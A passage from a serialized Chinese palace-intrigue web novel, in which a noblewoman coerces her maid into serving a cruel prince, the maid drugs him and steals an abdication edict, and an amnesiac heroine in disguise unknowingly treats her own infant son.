难道她改嫁这步棋,当真走错了? “有何不可能?”萧修湛得意地欣赏着她的绝望,自然不会告诉她,这是他如何持剑闯宫,逼着那位病弱的皇兄写下的。 “皇兄成婚数年,后宫空虚,皇后至今无所出。他那副孱弱的身子骨,注定生不出皇子!若非本王这条胳膊废了,这皇位他早就该双手奉上了!” 字字句句,都像重锤敲在姜瑶真的心上。 她脑中嗡嗡作响,一个念头疯狂滋长——没想到,真是没想到,这天大的便宜,竟落到了萧修湛这个废物手上! 萧修湛看着她失魂落魄的模样,陡然放声大笑,笑声中充满了残忍的快意:“怎么,后悔了?若是当初你没有急着另嫁,安分守己地给本王生个儿子,如今你便是未来的国(母),未来的皇后!可惜啊可惜,说到底,还是你姜瑶真……没这个命!” “没这个命”四个字,如同一把淬毒的尖刀,精准地捅(进)了姜瑶真最深的伤口。 她想起为了化解萧凌川下的奇毒,自己是如何毅然吃下那以毒攻毒的解药的。 那毒药不仅救了她的命,也让她再也无法孕育子嗣。 她原本并不在意此事,可此刻,看着那份诏书,一个疯狂的念头如野草般从她心底的废墟中破土而出。 象征南月皇室身份的玉牌已经落到萧凌川手中,她没有机会再回南月了。 但大邺的储君,她必须牢牢掌握在掌心! 电光石火间,姜瑶真脸上的震惊与绝望尽数褪去,取而代之的是一种令人心悸的妩媚与谄媚。 她缓缓抬起头,那双方才还盛满冰霜的眼眸,此刻已是春水融融。 “殿下所言极是。”她柔声细语,仿佛先前那个言辞犀利的女人只是幻觉,“都是妾身福薄,无缘为殿下绵延子嗣,辜负了殿下的厚爱。” 她上前一步,那柔顺的姿态,那恰到好处的自怨自艾,让萧修湛的虚荣心得到了极大的满足。 “不过,”姜瑶真话锋一转,眼中闪过一丝精明的算计,“妾身虽无福分,却愿为殿下分忧。妾身身边的春花,性子温顺听话,最是会伺候人。不如,由妾身做主,将她送到殿下身边,好早日为殿下诞下储君,您看如何?” 萧修湛被她这番话哄得心花怒放,大手一挥,醉醺醺地笑道:“好!自然好!只要是美人,本王的王府多多益善!此事就交给你去办!” “妾身遵命。” 姜瑶真敛眸垂首,唇角勾起一抹冰冷而志在必得的弧度。 萧修湛不过是她攀上权力顶峰的又一块垫脚石罢了。 未来的储君,必须由她的人来生,也必须,由她来掌控! 第328章 忠诚化为齑粉 第三百二十八章 忠诚化为齑粉 一回到国公府,姜瑶真便卸下在瑞王府那副谄媚的假面,随即唤来春花。 春花低眉顺眼地走进来,手里还端着刚泡好的热茶:“少夫人,您回来了。” 姜瑶真没接那杯茶,只抬眼看她,目光里带着一种审视货物的挑剔。 “春花,跟在我身边多久了?” 春花一愣,不知她为何突然这么问,老实回答:“回少夫人,从您还在相府时,奴婢就伺候您了。” “是啊,这么久了。”姜瑶真点点头,语气忽然变得亲近起来,“我一直觉得你是个伶俐的,如今有个天大的好机会,我想着你,便想把这富贵给你。” 春花心里咯噔一下,一种不祥的预感油然而生,她勉强笑着:“能为少夫人做事,是奴婢的福分。不知少夫人有何吩咐?” 姜瑶真的声音压得极低,像蛇一般钻进春花的耳朵里:“你去瑞王府,伺候瑞王殿下。” “轰”的一声,春花脑子里炸开了。 她脸上的血色褪得一干二净,嘴唇哆嗦着,几乎站不稳。 原本极力想遗忘的可怕记忆瞬间袭上心头。 瑞王,那个人像野兽一样、将她折磨得遍体鳞伤的男人! “不……奴婢不去!”春花“扑通”一声跪倒在地,泪水瞬间涌出,声音里全是压抑不住的恐惧,“少夫人,求您了!瑞王殿下他……他太可怕了!奴婢宁愿死,也不去他身边!” 姜瑶真看着她这副样子,眉头微蹙,但很快又舒展开,换上了一副循循善诱的模样。 她起身,亲自扶起春花,用帕子擦去她脸上的泪,动作轻柔。 “你怕什么?他今非昔比,没从前那么暴戾了。”她凑到春花耳边,声音里充满了蛊惑,“而且,圣上给了瑞王一份密诏,他的长子,将来会是大邺的储君。 你想想,若你能怀上他的孩子,还是个男孩,那你是什么身份?未来的太后!到时候,别说我,就是这国公府,都得看你的脸色。这泼天的富贵,你真舍得不要?” 储君?太后? 这些词砸在春花耳中,却激不起半点涟漪,只有萧修湛那张狰狞的脸在她脑海里挥之不去。 她猛地挣开姜瑶真的手,连连后退,跪在地上不停地磕头,额头撞在冰凉的青石板上,发出沉闷的“咚咚”声。 “少夫人,奴婢不要什么富贵!奴婢求您了,奴婢一辈子给您做牛做马,求少夫人不要把奴婢送到瑞王身边!” 姜瑶真脸上的耐心终于耗尽。 那张原本还带着温和笑意的脸,瞬间冷如冰霜。 “给你脸,你不要脸。”她冷冷吐出几个字,“我再问你一遍,你去,还是不去?” 春花哭得浑身发抖,只是一个劲地摇头。 “好,很好。”姜瑶真笑了,那笑声尖锐又刺耳,“你既然这么不知好歹,那我便成全你!京城南边的窑子里,多的是又老又丑又穷的男人,他们肯定很喜欢你这样细皮嫩肉的丫头。 我会把你卖到最下等的那一家,让你一天伺候几十个男人,直到你被折磨死!你自己选,是去伺候一个有可能让你当太后的王爷,还是去伺候一群让你生不如死的乞丐?” 春花僵在原地,浑身冰冷,连哭都忘了。 窑子……那是什么地方,她比谁都清楚。 她泪眼模糊地看着姜瑶真那张美艳却无情的脸,心中最后一点关于主仆情分的念想彻底碎裂。 “……奴婢……去。”她从牙缝里挤出这几个字,每一个字都像在滴血。 姜瑶真这才满意地笑了。 她从袖中取出一个小小的瓷瓶,递到春花面前。“这才乖。在伺候瑞王(之)前,把这个让瑞王吃了。这是能让你一举得男的灵药。你只需记住,你的任务,就是怀上瑞王的儿子。” “那……若奴婢怀上的,是女儿呢?”春花鼓起勇气问。 “女儿?”姜瑶真嗤笑一声,“女儿有何用?又当不了储君。若你当真如此福薄,生出来的是女儿,便直接将她交给后街的人牙子换几两钱算了。” 她语气轻描淡写,像是在谈论微不足道的小事。 春花心中一片冰冷。 那一点点残存的、关于“一步登天”的绮念,那最后一丝对伺候多年主子的忠诚,在这一刻,被彻底碾为齑粉。 她低着头,轻声应下:“是,奴婢……遵命。” 从那天起,春花的夜晚被噩梦占据。 梦里,萧修湛一次又一次地化身为恶鬼,将她撕碎、吞噬,她在无尽的痛苦和恐惧中尖叫着醒来,冷汗湿透了衣衫。 接连几日睡不好,她的精神恍惚到了极点。 这日,姜瑶真让她上街去买新出的胭脂水粉,她失魂落魄地走在街上,周围的喧嚣都仿佛离她很远。 一辆马车疾驰而来,她竟毫无察觉。 “小心!” 直到车夫的厉喝和马匹的嘶鸣声在耳边炸响,她才猛然回神,眼看就要撞上,整个人都吓傻了。 马车堪堪停下,车夫老杨正要破口大骂,却在看清那张惨白的小脸时愣住了:“哎?这不是……春花吗?” 春花惊魂未定地抬头,正对上车夫熟悉的脸。 车帘被掀开,露出了姜夫人的脸。 看到这熟悉的面容,春花紧绷了几天的神经“啪”地一声断了。 这些日子里所受的委屈、恐惧和绝望,如决堤的洪水般瞬间将她淹没。 她再也忍不住,“哇”地一声哭了出来,不顾一切地跪倒在马车前。 “姜夫人!”她像抓住最后一根救命稻草,语无伦次地哭喊着,“求求您,求您把春花的卖身契还给春花吧!” 姜夫人被她这举动吓了一跳,连忙让身旁的婢女扶她,可她却死死跪在地上不肯起来。 “这是怎么了?好端端的,哭成这样?”姜夫人眉头紧蹙,“是真儿出了什么事吗?” 一提到姜瑶真,春花哭得更凶了。 她一想到自己多年来对这个主子忠心耿耿,换来的却是被推入火坑的下场,心底既委屈又怨恨。 “少夫人她……她要逼奴婢去伺候瑞王!”春花的哭声里带着绝望的控诉,“她说,若奴婢不肯,便要将奴婢卖到窑子里去!” 姜夫人大吃一惊:“真儿?她疯了不成!她为何要这样做?” 春花抬起满是泪痕的脸,将压在心底的那个惊天秘密和盘托出:“少夫人说,瑞王手中有陛下的诏书,瑞王的长子……会成为大邺未来的储君!她想让奴婢怀上瑞王的长子。” 姜夫人如遭雷击,呆立当场。 储君?萧修湛的长子? 这……这怎么可能! 她看着跪在地上瑟瑟发抖的春花,心中百感交集。 “你的卖身契,当初真儿出嫁时,我已一并给了她,如今不在我手上。但是你放心,你到底是相府出去的人,我不会眼睁睁看着真儿把你推进火坑。” 她顿了顿,压低声音道,“此事事关重大,我得回去告诉老爷。你先起来,明日这个时辰,你还来这里,我告诉你应该怎么办。” “谢……谢夫人!谢夫人!”春花仿佛看到了生机,连连磕头。 姜夫人回到相府,立刻屏退下人,将此事原原本本地告诉了姜丞相。 姜丞相听完,脸色瞬间变得凝重无比。 “不行,我得马上去一趟景王府!” 景王府中,姜丞相神色凝重:“王爷!陛下竟写禅位诏书,准备将储君之位传给瑞王的长子,这太荒唐了!瑞王私下勾结西洲敌军,早已是罪该万死,若储君之位当真给了他的长子,大邺岂不是要乱套了?” 萧凌川神色浅淡:“岳父放心,储君之位,绝不会落到萧修湛的长子身上。因为他,压根就不会有长子。” 姜丞相一愣:“王爷……可有应对的策略?” 萧凌川澈黑的眼眸里闪过一丝不易察觉的冷光。 “那个准备送给瑞王的婢女,春花,”他缓缓道,“想来,可以一用。” 第329章 瑞王惨遭算计 第三百二十九章 瑞王惨遭算计 两日后,一顶小轿将春花抬进了瑞王府。 她被姜瑶真精心打扮过,一身水色的纱裙,衬得身段婀娜,半点不见平日里当婢女的素朴。 眉眼间那点刻意描摹的怯弱,如同受惊的林间小鹿,反倒能激起男人的征服欲。 果不其然,当萧修湛看到她时,眼中瞬间腾起一股混杂着欲望与扭曲占有欲的火焰。 他记得这个婢女,那夜她代替姜瑶真承欢,哭得撕心裂肺的模样,至今仍能带给他一种病态的满足感。 “过来。”他粗暴地招手,一把就将春花拽进怀里。 浓烈的酒气混合着女人脂粉的味道,熏得春花一阵反胃。 他不顾满堂姬妾怨毒的目光,便要低头攫取她的双唇。 春花心几乎要跳出喉咙,强忍着恶心与恐惧,怯怯地垂下眼睫,声如蚊蚋:“殿下……人多,奴婢……奴婢害怕。求殿下垂怜,容奴婢……私下里再好好伺候您。” 萧修湛这几日早已厌倦了那些饿狼般扑上来的女人,她们急于求孕的功利嘴脸让他烦躁。 春花这副与众不同的羞怯,反倒让他得到了极大满足。 “本王最喜欢你这种含羞带怯的。”他大笑起来,大手一挥,“都滚下去!别在这儿碍了本王的眼!” 姬妾们敢怒不敢言,只得不情不愿地退下,临走时投向春花的眼神,像是要将她生吞活剥。 偌大的厅内只剩下两人。 春花强作镇定,端起酒壶,手指因紧张而微微颤抖:“殿下,奴婢为您……满上。” 在宽大袖袍的掩护下,一小包无色无味的粉末悄无声息地滑入酒杯,迅速溶解。 萧修湛正被她那副欲拒还迎的姿态撩拨得心头火热,毫不设防地接过酒杯,一饮而尽。 他正要将人横抱而起,脑中却猛地一阵天旋地转,眼前一黑,高大的身躯便重重地摔倒在地毯上,人事不省。 春花给他下的,根本不是姜瑶真所说的助孕灵药,而是姜夫人交给她的烈性蒙汗药。 姜夫人答应过她,只要她拿到诏书,便帮她改名换姓,离开京城。 春花强压着惊恐,在他身上摸索了片刻,终于在他的里衣中找到一卷黄色的丝帛。 她将丝帛揣进怀里,马不停蹄地往赶往相府,将手中的东西交给姜夫人。 姜夫人接过诏书,连夜将她送上出京城的马车。 这诏书很快便落到萧凌川手中,他当晚便送进宫,当着萧政贤的面把诏书烧毁。 目睹那卷禅位诏书被投进烛台并化为乌有,萧政贤才仿佛卸下了千斤重担,长长地舒了一口气。 “陛下,诏书已毁,接下来,就等那萧修湛再次逼宫了。”萧怀瑾的声音一如既往的清冷。 萧政贤心有余悸地点头:“还是四弟有办法。朕之前也想过安插人进瑞王府,可这萧修湛虽荒唐,却警觉得很,来历不明的女子,他一个都不要。若非春花是姜瑶真的人,他断然不会收下。” 萧怀瑾唇角勾起一抹冰冷的弧度。 经过今夜,萧修湛和姜瑶真这对曾经的怨偶,想来会彻底反目成仇,狗咬狗,一嘴毛。 若萧修湛盛怒之下将姜瑶真杀了就更好了,省得他亲自动手。 果然,第二日,醒来的萧修湛发现诏书与春花都不见踪影,顿时爆发出了野兽般的咆哮。 “给姜瑶真送信!让她立刻滚过来见我!” 姜瑶真以为春花得了宠幸,萧修湛要给她好处,收到信后立马欣然去往。 然而,她一只脚刚踏进瑞王府的大门,一把泛着寒光的长剑便“铮”地一声抵在了她的喉咙上。 “姜瑶真!”萧修湛双目赤红,状若疯魔,“你好大的胆子!竟敢指使你的贱婢偷盗本王的诏书!说!东西和那个贱人在哪儿?!交不出来,本王今日便让你血溅当场!” 冰冷的剑锋紧贴着肌肤,死亡的寒意瞬间传遍四肢百骸。 姜瑶真脸上的得意瞬间凝固,血色褪尽,如坠冰窟。 “殿……殿下饶命!”她吓得魂飞魄散,声音都在发颤,“妾身……妾身对此事一无所知啊!妾身只是想让春花伺候您,为您诞下储君,没有让她偷您东西啊!” “还敢狡辩!”萧修湛怒吼着,剑锋又往前递了半分,一缕血丝自她白皙的脖颈渗出,“昨夜,那贱婢给本王下了迷药,本王根本没碰过她!今早人就不见了,本王的禅位诏书也不翼而飞!不是你主使,还能有谁?!” 尖锐的刺痛让姜瑶真猛然清醒过来。 她强忍着恐惧,脑子飞速运转,失声尖叫道:“殿下!偷您的诏书,对妾身有何好处?这春花定是被人收买,借了妾身的手,行此瞒天过海之计!您仔细想想,这满朝上下,谁最不希望您拿到那份诏书?!” 萧修湛狂怒神色一滞,阴沉地嘶吼:“自然是当今皇帝!可他的人怎么可能收买到你的贴身婢女?莫非……是你与他早已串通一气!” “若真如此,妾身今日为何还会蠢到来您这儿送死?!”姜瑶真抓住这一线生机,哭喊道,“殿下最清楚,妾身向来……贪生怕死啊!” 最后这句带着哭腔的辩解,终于让萧修湛眼中的疯狂退去几分,取而代之的是无尽的疑虑与怨毒。 他手中的剑终究还是缓缓放下了。 如今诏书已不见,他还需要国公府的助力,若杀了姜瑶真,对自己没有半点好处。 他死死盯着她,从牙缝里挤出声音:“就算不是你主使,那贱婢终究是你的人!这笔账,本王迟早会跟你算清楚!” 姜瑶真吓得两腿发软,瘫坐在地上。 该死,究竟是谁收买了她的贴身婢女? “春花的卖身契还在妾身手上,况且,她认识的人不多,按理来说,她不可能背叛妾身,除非……”姜瑶真脸色骤变,一个可能性闯入她的脑海,“除非,指使她偷诏书的人,是妾身的父母!” “姜丞相?”萧修湛眼睛危险地眯起,“他是萧凌川的拥趸,向来看不惯本王,的确不愿本王的子嗣当储君。” “呵,好一个姜丞相,为了给萧怀瑾铺路,真是无所不用其极!”他从牙缝里挤出这句话,周身散发着骇人的戾气。 姜瑶真见他怒火转移,心中稍定,小心翼翼地试探道:“那……殿下,诏书已失,我们……接下来该如何是好?” 她刻意用了“我们”二字,试图重新将自己与他绑在同一条船上。 “还能如何?”萧修湛冷冷道,“本王能逼皇兄写一次诏书,便能逼他第二次!” 第330章 他那见不得光的私心 第三百三十章 他那见不得光的私心 南朔城。 姜天泽将一张房契在桌上铺平,难掩兴奋地对姜姝宁说:“阿宁,你看,这间铺子位置不错,临着街,地方也敞亮,我已经盘下来,开一间药铺。” 姜姝宁闻言只是淡淡瞥了一眼,随口道:“南朔这小地方,能有几个病人?在这里开药铺,怕是连本钱都赚不回来。真想赚钱,还不如去京城,那才是寸土寸金的地方。要不,我们去京城吧?” “不行!” 姜天泽的声音瞬间冷了下来,方才还带着笑意的脸霎时绷紧,像一张拉满的弓。 他猛地站起身,力道之大,带得椅子都向后刮出刺耳的声响。 “我们绝不去京城!” 他反应如此激烈,把姜姝宁吓了一跳。 她抬起头,清亮的眸子直直看着他,带着一丝不解和探究。 “为什么?” 京城是有吃人的猛兽吗?还是有什么她绝对不能见到的人? 按理说,那个传闻中性情暴戾的景王萧凌川,如今已是南月的新帝,不可能在大邺的京城。 天泽,他到底在怕什么? 姜天泽似乎也察觉到自己的失态,他避开姜姝宁的目光,神色晦暗不明。 “京城……是非太多,人心复杂,远没有南朔这般简单。阿宁,我不想再过那种提心吊胆的日子了,我只想和你在这里,安安静静地过日子。” 他的声音放得很轻,像怕惊扰了什么。 姜姝宁垂下眼帘,长长的睫毛遮住了眼底翻涌的情绪。 她也想过平静的日子,可那样的日子里,必须有她的孩子。 这些天,那个孩子又闯进她的梦里,一次比一次清晰。 她能梦见他柔软的胎发,闻到他身上淡淡的奶香。 那种心被揪紧了的思念,几乎要将她撕裂。 可她不能在姜天泽面前提起。 直觉告诉她,姜天泽对“孩子”这件事,讳莫如深。 屋内的气氛僵得像块冰。 姜三夫人端着一盘切好的瓜果走进来,一眼就看出两人之间的紧绷。 她笑着将果盘放下,打着圆场:“哎呀,阿宁,你担心什么药铺没生意?大不了,我前头卖毒,你后头卖解药。我跟你说,我那些独门毒药,别说大邺的京城了,就是南月西洲北陵,都有人抢着来买!保证我们赚得盆满钵满!” “母亲!”姜天泽立刻出声制止,“别胡闹!你的身份要是暴露,我们谁都别想安生!” 姜姝宁连忙附和道:“是啊夫人,我们不能冒险。就按天泽说的,在南朔开吧。” 她顿了顿,像是想到了什么,提议道,“我瞧见城里有专给女子看病的‘女堂’,那不如……我们就开一个专给婴孩治病的‘幼安堂’,怎么样?” 这个提议瞬间得到了姜天泽和姜三夫人的赞同。 一切似乎又回到了和乐的轨道上。 隔了会儿,姜姝宁拿起墙角的药篓,朝他们笑了笑:“铺子的事定下了,我去郊外采些新鲜的草药回来,幼安堂可不能缺了上好的药材。” 她背着药篓,从前门走了出去,脚步轻快。 然而,在拐过街角后,她立刻加快了步伐,绕了一个大圈,悄无声息地从宅子的后门溜了进去。 她踮起脚尖,屏住呼吸,慢慢挪到窗边。 那扇窗户糊的纸有些旧了,正好有一个指甲盖大小的破洞。 近来,姜天泽母子总爱背着她窃窃私语,可每当她走近,又会立刻噤声。 她想知道,她不在的时候,他们究竟会聊些什么。 屋里的声音清晰地传了出来。 是姜天泽,他的声音压得很低,却透着一股压不住的阴沉。 “母亲,我必须去一趟京城。昨夜经过阿宁房间时,听到她又说梦话了,嘴里念叨的还是那个孩子。我得去确认一下,她是不是……真给萧凌川生了个孩子。” 姜姝宁的心脏顿时猛地一跳,她本能地捂住嘴。 没想到,自己藏在心底的秘密,最终还是通过梦呓暴露了。 姜三夫人的声音透着一股深深的疲惫:“就算是,你又能如何?天泽,你这样瞒着她,终究不是办法。她的记忆迟早有一天会恢复,你不可能把她锁在身边一辈子。” “若她真的为萧凌川生了孩子,萧凌川那个疯子,早晚会用这个孩子来要挟她,逼她回到他身边去!”姜天泽的声音里淬着冰,带着一丝病态的执拗,“我绝不会给他这个机会!我必须想办法,把那个孩子……弄到手!只要孩子在我手上,她便不会离开我!” 轰的一声,姜姝宁的脑子里炸开了。 窗外的阳光明明很暖,她却觉得浑身冰冷,血液都像是凝固了。 比起姜天泽的阴暗算计,她更惊讶的是自己梦中无数次出现的孩子,竟然真是她和那个声名狼藉、心狠手辣的景王萧凌川所生的。 一股巨大的荒谬感席卷了她! 姜天泽要去京城找她的孩子,虽然他的动机不纯,但若他真有办法找到,也未尝不是件好事。 如此一来,她便能见到她的孩子了! 想到这,她顿时变得雀跃起来。 等她佯装采完药,慢悠悠地晃回屋里时,姜天泽果然已经开始收拾行囊。 他看见她,神色如常地编着早已想好的说辞:“阿宁,铺子的药材还缺不少,南朔这边种类不齐,我得去一趟北边,采购些回来。你和母亲先看着铺子装修……” “没问题!”不等他说完,姜姝宁就抢着开了口,脸上是全然的信任和支持,“你安心去吧!家里和铺子的事有我呢,夫人我也会照顾好的。我们俩,一定会把‘幼安堂’做得风生水起,等你回来给你一个惊喜!” 她的笑容灿烂得没有一丝阴霾。 姜天泽心里那点不安终于落了地。 他从怀里掏出一个小小的瓷瓶。 “我不在的这些日子,怕有心之人会找上门。这瓶里的药丸能改变人的容貌,一颗药效能维持十几天,你记得按时服用。” 姜姝宁一听,立刻想起之前被姜三夫人喂下那颗“见不得人”后,镜子里那张丑陋的脸,顿时连连摆手:“不行不行!那个药让我变得太丑了!我要是再变丑,小孩子看了都得吓哭,谁还敢让我看病啊!” “阿宁放心,”姜天泽的语气里带着一丝不易察觉的自得,“这药不会让你变丑,只是让你的容貌变得普通,让人过目就忘罢了。” 他说着,竟自己先倒了一颗药丸,仰头吞下。 不过半盏茶的功夫,奇妙的事情发生了。 姜姝宁眼睁睁看着姜天泽的脸在自己面前发生了变化。 原本那张俊美出挑,线条分明的脸,轮廓像是被水晕开了一般,渐渐变得模糊,重组。 眉峰不再那么锐利,鼻梁也塌了一些,标志性的丹凤眼也变了,整张脸……变得平平无奇,丢进人堆里就再也找不出来。 姜姝宁看得啧啧称奇,真心实意地赞叹道:“天泽,你这制药的天赋可真是厉害!这易容的效果也太好了!” 姜天泽闻言,只是笑了笑,那张陌生的脸上,笑容也显得有些寡淡。 他和姜姝宁是不同的。 姜姝宁的医术,是悬壶济世,是救人。 而他的药理,是机关算尽,是为了满足他那见不得光的私心。 如果这世上真有什么药能让阿宁死心塌地地爱上他,他一定会不择手段,哪怕是撬开她的嘴,也要亲手灌下去。 在姜天泽的注视下,姜姝宁和姜三夫人都服下了那易容丸。 姜姝宁看着铜镜里那张完全陌生的脸,一张清秀但毫无特点的脸,心中百感交集。 虽然她知道姜天泽让她改变容貌是出于私心,但确实是个保护她不被萧凌川找到的好法子。 姜天泽看着她新的面容,心中最后一块石头落了地。 很好。 这样一来,就算萧凌川站到她面前,也绝对认不出,这就是他心心念念的姜姝宁。 如此,他便也没有机会将她从自己身边夺走! 第331章 定会让你好起来的 第三百三十一章 定会让你好起来的 第二日天刚蒙蒙亮,姜天泽便背着行囊往京城的方向而去。 他做梦也没想到,他前脚刚走,命运的轮盘后脚就转到了他无法预料的轨迹上。 半个月后的一个清晨,一辆马车缓缓驶进南朔。 车里,萧怀瑾抱着一个襁褓,面色是前所未有的凝重。 为了避人耳目,他带着小邺君、心腹阿齐和两个乳母,扮作南下的行商,打算借道南朔,前往南月国寻找姜姝宁。 从前他随外祖和舅舅行商天下,深知这世上没有哪个君王会跟白花花的银子过不去。 只要能带来足够的利益,即便是宿敌,也会为商路大开方便之门。 这一路,走走停停,颠簸劳顿,小邺君的身子到底还是没扛住。 刚一抵达南朔,这孩子便发起高烧,浑身滚烫,细嫩的皮肤上还冒出了一片片红色的疹子,哭闹不休。 萧怀瑾一颗心像是被架在火上反复炙烤,急得双眼通红。 他抱着孩子冲下马车,不顾一切地在街上寻找药铺。 路边一个热心的大婶见他一个俊俏公子抱着个哭闹的孩子急成这样,便指了条路:“公子,快去南街吧,那儿新开了家‘幼安堂’,专给小娃娃看病的。那女医本事大着呢,开的药不苦,还甜丝丝的,我家那皮猴子都抢着喝!” 萧怀瑾闻言,如获至宝,道了声谢便抱着小邺君直奔南街。 “幼安堂”的门脸不大,但干净整洁。 他一脚踏入,一股混杂着甘草清香的药味便扑面而来。 铺子里的掌柜是个女子,荆钗布裙,容貌普通得让人转眼就忘,但一双眼睛却很亮,态度也格外殷勤。 他看见那女医正半蹲着,手里端着一碗汤药,极有耐心地哄着一个哇哇大哭的男童。 那孩子哭得上气不接下气,就是不肯张嘴。 女医也不恼,只是变戏法似的从袖中摸出一颗裹着糖衣的药丸,那孩子见了,竟真的止住了哭,乖乖张嘴吃了。 萧怀瑾心中那块悬着的巨石,莫名就松动了几分。 小邺君这孩子,娇贵得很,半点苦都吃不得。 路上也病过一次,几个大人围着他,用尽了法子,药就是喂不进去,最后还是靠着乳母不眠不休地熬着,才硬生生把病给拖好。 若是再来那么一遭,这孩子的小命怕是都要悬了。 眼前这个女医,似乎很有一套。 不知为何,看着她哄孩子的温柔模样,萧怀瑾心中竟掠过一丝异样的熟悉感,仿佛在何处见过。 但当他定睛去看那张平平无奇的脸时,又自嘲地打消了这个念头。 不可能。 如果她是姜姝宁,怎么可能在还没找到亲生骨肉的情况下,就如此心安理得地在异国他乡开店过活? 以她如此疼爱孩子的性子,该是满世界地找孩子才对。 他收起思绪,抱着怀里哭声渐弱的小邺君快步上前。 “女医,烦请您给看看,这孩子……不知怎么了,烧得厉害,身上还起了疹子。”他的声音里带着自己都未曾察觉的颤抖。 姜姝宁接过他怀中的襁褓,在看清那张无比熟悉的小脸时,她整个人如同被惊雷劈中,彻底僵在了原地。 是她的孩子! 是那个无数次闯入她的梦境,让她肝肠寸断、魂牵梦绕的婴孩! 她的血液在瞬间凝固,又在下一秒疯狂倒流,冲击着四肢百骸。 她几乎是下意识地猛然抬头,看向眼前的男人。 他身着暗纹锦袍,质料考究,周身萦绕着一股与生俱来的矜贵之气,即便风尘仆仆,也掩不住那通身的清隽与华贵。 这人……难道就是萧凌川? 那个传说中杀人如麻、冷血无情的阴鸷王爷? 萧怀瑾见她神色大变,死死盯着自己,一颗心顿时提到了嗓子眼:“女医?他……他这病很棘手吗?” “也……不是很棘手。”姜姝宁的声音干涩得像是被砂纸磨过。 她强迫自己移开目光,垂下眼帘,手指微颤地解开襁褓。 果然,在孩子的手腕和脚踝上,看到了几个红肿的毒包。 南朔地处南疆,气候潮湿,蚊虫格外毒辣,孩童被叮咬后,极易引发热症。 姜姝宁此刻什么都顾不上了,满心满眼都是她的孩子。 她迅速转身从药柜里取出一罐药膏,用指腹小心翼翼地给小家伙涂抹。 药膏带着薄荷的清凉,小家伙似乎舒服了些,哼唧了两声,竟真的在她怀里渐渐安静下来,眼皮一搭一搭地,沉沉睡去。 看着他恬静的睡颜,姜姝宁的心都要化了。 她连忙取来一只小银勺,舀了些刚刚给另一个孩子备下的甘草汤药,送到他嘴边。 他小嘴砸吧了几下,竟顺从地咽了下去。 萧怀瑾看着这一幕,一直紧绷的神经终于松弛下来,长长地舒了口气。 “多谢女医,多谢女医。” 他由衷地感激,随即道:“烦请女医开些便药,我们还要赶路,可以带在路上给孩子服用。” 赶路? 姜姝宁的心猛地一揪。 好不容易才见到自己的孩子,她怎么可能让他离开! 她佯装担忧地说:“公子,这孩子的病可大可小,虽然暂时退了热,但病根未除,最怕反复。您还是别着急赶路了,等孩子病情彻底稳定下来再说!” 萧怀瑾一听,也觉得她说得有理。 孩子的命比什么都重要。 若照顾得不好,见到姜姝宁,她怕也是会责怪自己。 他侧头对身旁的阿齐道:“去找间好些的客栈,我们先在这里落脚。” 姜姝宁心中一喜,接话道:“公子若不嫌弃,这南街出去不远,有家叫‘清风轩’的客栈,环境清雅,最是安静,也适合安置孩子。不如……公子就在那儿落脚?” 最重要的是,清风轩离她的药铺不过一盏茶的脚程。 她随时都能找到借口去看小邺君。 萧怀瑾见她考虑周到,便点了点头:“多谢女医指点,那我们便在‘清风轩’落脚。” 姜姝宁见他对自己竟没有丝毫戒备,胆子也大了起来,试探着问道:“听公子的口音,不像是本地人。您一个人带着这么小的孩子,这是要去哪儿啊?这孩子……是您的?” 萧怀瑾闻言,竟露出一抹温柔的笑意。 他垂眸看着怀中的孩子,语气自然:“这是我与夫人的独子。我带着他,正准备南下,去找夫人。” 听到这话,姜姝宁的大脑嗡的一声,一片空白。 他果然就是萧凌川! 她死死攥住袖中的手指,指甲几乎要嵌进肉里。 可是,看着眼前这个男人温润清隽的眉眼,她怎么也无法将他同那个传闻中暴戾嗜血的魔头联系在一起。 难道,这就是传说中的“人不可貌相”? 罢了! 管他长得是谪仙还是恶鬼,这是她的孩子,她一定要把孩子抢回来! 姜姝宁强行压下心头翻涌的情绪,稳住心神,换上一副医者的口吻道:“公子,这孩子年幼,汤药需得按时按量服用,早中晚三次,一次都不能少。这样吧,你每隔两个时辰,就将他抱来我这里,我亲自喂他吃药,也方便我随时查看他的情况。” 一旁的阿齐皱了皱眉,插话道:“何必这么麻烦?女医直接将药开好,我们带回客栈,按时给小公子服用便是。” “那不行!”姜姝宁想也不想就立刻反驳,语气斩钉截铁,“这孩子才几个月大,你们喂药的法子不对,万一呛着他,吸入肺里,那麻烦就大了!到时候神仙也难救!” 她话说得极重,半是恐吓半是事实。 萧怀瑾对眼前的女子有种莫名的亲近和信任,觉得她说的每一个字,都是真心实意为了孩子好。 他对阿齐摆了摆手:“听女医的。她是为了君儿好。” “是,公子。”阿齐只得退下。 姜姝宁伸手轻轻抚了抚孩子饱满的额头,声音是前所未有的温柔:“原来他叫君儿啊……真是个好听的名字。” 她一字一句,郑重无比地承诺道,“君儿,你放心,有我在,定会让你快点好起来的。” 第332章 想当小邺君的后母? 第三百三十二章 想当小邺君的后母? 夜色如墨,将大邺皇宫浸染得一片死寂。 御书房内,灯火通明,却照不亮角落里潜藏的杀机。 萧修湛暗卫的掩护下,如同鬼魅般潜入了皇宫深处。 他知道,凭自己这副残躯,即便坐上龙椅,也只会成为天下人的笑柄。 满朝文武绝不会向一个手臂残废、毁了容的王爷俯首称臣。 可他的儿子不同。 皇帝至今无子,他若能逼着萧政贤写下禅位诏书,将皇位传给他的长子,一切便顺理成章。 烧他的禅位诏书一次,他就让萧政贤再写一次! 萧修湛的嘴角扯出一个狰狞的弧度,故技重施罢了,萧政贤那个软骨头,上次能被他吓得写下诏书,这次也一样。 他推开虚掩的殿门,一股浓郁的龙涎香扑面而来。 萧政贤正伏在案前,似乎在批阅奏折,听到动静,他抬起头,那张苍白虚弱的脸在烛光下显得愈发没有血色。 萧修湛冷哼一声,示意暗卫上前。 然而,就在他的暗卫踏入殿内的那一瞬间,异变陡生! 数十道黑影从房梁、从屏风后、从书架暗格中如鬼魅般窜出,手中的刀刃在烛火下闪过一道道森冷的寒芒! “噗嗤——” 利刃入肉的声音接连响起,快得让人来不及反应。 萧修湛带来的暗卫连惨叫都来不及发出一声,便被禁卫军以雷霆之势割断了喉咙,温热的血液瞬间喷溅而出,在冰冷的地砖上绽开一朵朵妖冶的红莲。 浓重的血腥味瞬间充满了整个御书房。 萧修湛僵在原地,浑身的血液仿佛在这一刻冻结。 一个修长的身影缓缓从龙椅后的阴影中走出,玄色蟒袍,墨发玉冠,俊美无俦的脸上挂着一丝若有若无的讥诮。 是萧凌川! 他怎么会在这里?! 一股彻骨的寒意从萧修湛的脚底板直冲天灵盖。 他突然意识到,自己掉进了一个精心布置的陷阱。 